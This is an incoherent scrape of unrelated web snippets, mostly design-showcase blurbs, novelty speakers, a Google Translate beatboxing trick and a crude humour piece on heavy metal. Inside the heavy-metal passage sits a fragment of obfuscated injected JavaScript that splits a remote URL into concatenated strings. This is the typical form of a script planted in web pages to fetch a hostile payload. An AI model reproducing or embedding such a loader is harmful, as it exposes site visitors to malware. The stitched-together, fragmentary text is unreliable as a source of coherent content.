Pocket Hipster - The coolest music app ever, but youve probably never heard... Bad Music Influence Transcripts follow. (Source: Dexter; Image above, via NME.) Transcript December 2, 1996 Green Day P.O. Box 710 Berkeley, Ca 94701-0710Re: InsomniacTo whom it may concern:I am a parent, and I am very disturbed by the cassette tape my 8 year old son was listening to. His 60 year old grandmother bought it for him as a birthday present and was totally unaware of its explicit content.
Beautiful Design Work by Commoner Commoner, Inc is home of the brilliant designer Richard Arthur Stewart and on this post you will see some of the amazing work he has done. Very clean design with a lot of style to it, making every bit of detail so enjoyable. Check it out! For more works from Richard visit commonerinc.com Fast Eddie's Barber Shop Fast Eddie's is a no nonsense barber shop found in Allston, MA. one of Boston's many historical neighborhoods. I wanted to stay away from the "red, white & blue" barber pole theme and stick with something high contrast and modern. Poe Covers Reimagined A tribute in my own way after discovering how much I love Edgar Allan Poe's work. The Lower Depths Identity for a taproom and restaurant in Kenmore square, inspired by it's port town history. Rat City Beer Co. Rat City is a boutique brewery specializing in artisanal craft beer, located in the heart of Allston, MA.
Vupas Music Discovery Play Your Mood/Artist Fresh New Work by Magomed Dovjenko by aloa Tue, 03/22/2011 - 16:06 My favourite illustrator Magomed Dovjenko just updated his portfolio IAMMAGO with more than 20 new pieces. Abduzeedo shows you a fine collection of the work we fancy most. See his complete portfolio and blog on IAMMAGO.COM. See more of his work on IAMMAGO.COM. Speakers That Think Outside The Box Your computer has a paint job similar to a Ferrari. Your phone looks like an alien communication device. Your wallet is made of recycled rubber. Hive Modular Speaker System Man solves many problems by simply adding more of something (horsepower, wood, steel, the list goes on and on) and the Hive Speaker System is no different. Munny Speakers If you’re looking for speakers that come alive, look no further than these hacked Kid Robot Munny speakers. Butt Speakers Until we were introduced to these butt speakers, we would have thought it was impossible for any sort of soothing sound to emanate from an ass. Washington Speaker Docking Station Lamp Equal parts lamp, iPod dock, found art and speaker, Etsy user bugcicle’s one of a kind creations are the roadmap to a more interesting living room – and a more enjoyable sound experience. ikyaudio Red Lobester Audio Speakers Mannequin Speakers When it comes to what we’re calling the iBod, a picture is really worth a thousand words. Pnoe Horn
Crazy Illustrations By Chow Hon Lam | Pokkisam blog Chow Hon Lam is a t-shirt designer and a humorous illustrator from Malaysia. He has been completed this crazy project called Flying Mouse 365, which is create 1 design per day. I hope his illustrations can bring some smile and entertainment to the world. About the author Google Translate Beatbox Not sure if this falls in the category of Easter Egg or clever manipulation, but either way, there go our afternoons: Redditor harrichr has devised a scheme for turning Google Translate into a makeshift beatbox machine. 1) Go to [1] Google Translate2) Set the translator to translate German to German3) Copy + paste the following into the translate box: pv zk pv pv zk pv zk kz zk pv pv pv zk pv zk zk pzk pzk pvzkpkzvpvzk kkkkkk bsch4) Click “listen”5) Be amazed :) For the lazy, just click this link and it’ll be done for you. There’s nothing magical about this particular sequence, and there’s tons of room for experimentation: In German, anyway, “pv” and “zk” make complementary breathy sounds and clicks, respectively. Spaces add pauses. Update: Hacker News reader iamdave has come up with a pretty comprehensive Google Translate beatboxing guide: (Reddit via Create Digital Music)
25 Beautiful Retro Futurism Designs A new design trend which is really starting to take off among the design community, which is Retro Futurism Designs an interpretation of the future maintaing some type of old vintage appearance within the design. A mix and match of different design styles mainly futuristic and vintage designs. 23. Retro Shiny 24. Heavy Metal - Cracked Because fuck eardrums, and guitar solos kick ass.)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document. Just The Facts Heavy Metal first appeared in the music scene in the 1960's and 70's with bands like Led Zeppelin, Black Sabbath, Deep Purple, Alice Cooper, and some others that I'm too lazy to look up. It is characterized most typically by heavily distorted but intricate guitar work, dark subject matter, double-bass-pedal drumming, gnarly long hair, and in more frightening cases, tight leather pants. There are between 3 and 5,326,972 sub-genres of Heavy Metal, depending proportionally on how much of a dick you are in Youtube comment forums. History of Heavy Metal Heavy Metal began its unholy existance as a fusion of the technicality and improvisation of Blues-rock and the batshit-craziness of psychedelic rock back in the 60's, generally known as a period where a whole lot of fucked-up shit went down. How to become a metal God. Metal Genres jon1023948 - "fake!" Heavy Metal Boo!
50 Extremely Awesome Examples of Typography This time we’re gonna show you some truly inspiring works with text, also referred to as typography. This can be used many places; in magazines, advertisements, websites, logos and more. These great pieces will show you that there are no boundaries and that you can make almost anything with text if you have a good portion of creativity and talent. Typography can in todays terms be so much more than what you find in a book or magazine. It’s turned into a very inspiring form of art, and there are many great pieces out there. Gun by ~mou5e Burdened by ~dylanroscover En Masse by ~clockblock your type by ~O-nay I Speak Alone by ~Gordorca Beauty by *mrgraphicsguy Typography Plate 002 by ~Postpwned I am not myself by ~OrigamiSuicida What Lies Within by ~um0p3pisdn Got a Light by ~DesertViper Typography by ~e-emoo John Lennon in Type by ~Dencii Come Back To Me_1600×1050 by ~Dmaghar Lying by =RenzGFX Steven Paul Jobs by ~dylanroscover Instant by *Shinybinary The Raven by ~swordfishll DUB.TILL.DAWN by ~ICDP
Retro Futurism Design Showcase & Tutorials | BootStrap Retro Futurism is the term used to describe artwork depicting a view of the future, from the eyes of the past. The artwork itself also has the appearance of something old and vintage, basically blending both past and future into one style of artwork that blows your mind! Digital artists are creating their own modern interpretations of the retro futurism style, often taking inspiration from the game covers of retro consoles such as the Atari or Commodore. Check out this collection of some amazing examples of contemporary takes on the retro futuristic style, and continue on to a bunch of handy tutorials giving tips on how to create a stunning design of your own. Hannibal Chew Sakke Sioni Pablo Alfieri Joao Oliveira James White Nicolas Alexander Alex Beltechi Peter Nudo Pinar Demirdag Stefanie Kegel Niko Vartiainen Matthew Tabor A Message Fancy giving it a go yourself? Read through these handy tutorials. Create A Retro Cosmic Design in Photoshop A Retro Futurism Space Scene Creating the New Retro
The Internet As Vintage Books The Internet As Vintage Books Posted on 29 January 2010 Crni How would it have been if today’s popular internet websites and their web applications were artistically reinvented and designed as the 1960s book covers, so as to provide an insight into how these social networking sites may look if they were designed about 40 or 50 years ago? His present creative series “Web Services Covers Therapy” is definitely worth viewing taking the viewer in reminiscing that 60s era for modern networks like YouTube, Twitter, Wikipedia, MySpace, etc. Via Flickr.